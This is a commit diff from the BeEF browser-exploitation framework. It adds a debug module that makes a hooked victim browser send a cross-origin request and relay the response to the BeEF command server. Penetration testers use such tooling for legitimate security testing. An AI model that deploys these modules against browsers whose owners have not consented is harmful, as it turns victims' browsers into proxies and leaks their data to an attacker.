Add beef.net.cors.request
Returns a response object with HTTP status, headers and body Add 'Test CORS Request' debug module
This commit is contained in:
16
modules/debug/test_cors_request/command.js
Normal file
16
modules/debug/test_cors_request/command.js
Normal file
@@ -0,0 +1,16 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
var method = "<%= @method %>";
|
||||
var url = "<%= @url %>";
|
||||
var data = "<%= @data %>";
|
||||
|
||||
beef.net.cors.request(method, url, data, function(response) { beef.net.send("<%= @command_url %>", <%= @command_id %>, "response="+JSON.stringify(response)); });
|
||||
|
||||
});
|
||||
|
||||
15
modules/debug/test_cors_request/config.yaml
Normal file
15
modules/debug/test_cors_request/config.yaml
Normal file
@@ -0,0 +1,15 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
test_cors_request:
|
||||
enable: true
|
||||
category: "Debug"
|
||||
name: "Test CORS Request"
|
||||
description: "Test the beef.net.cors.request function by retrieving a URL."
|
||||
authors: ["bcoles"]
|
||||
target:
|
||||
working: ["ALL"]
|
||||
23
modules/debug/test_cors_request/module.rb
Normal file
23
modules/debug/test_cors_request/module.rb
Normal file
@@ -0,0 +1,23 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
class Test_cors_request < BeEF::Core::Command
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['response'] = @datastore['response']
|
||||
save content
|
||||
end
|
||||
|
||||
def self.options
|
||||
|
||||
return [
|
||||
{'name' => 'method', 'ui_label' =>'Method', 'type' => 'text', 'width' => '400px', 'value' => 'POST' },
|
||||
{'name' => 'url', 'ui_label' =>'URL', 'type' => 'text', 'width' => '400px', 'value' => 'http://graph.facebook.com/fql?q=SELECT%20url,total_count%20FROM%20link_stat%20WHERE%20url=%27http://beefproject.com/%27' },
|
||||
{'name' => 'data', 'ui_label' =>'Data', 'type' => 'text', 'width' => '400px', 'value' => 'postdata' },
|
||||
]
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user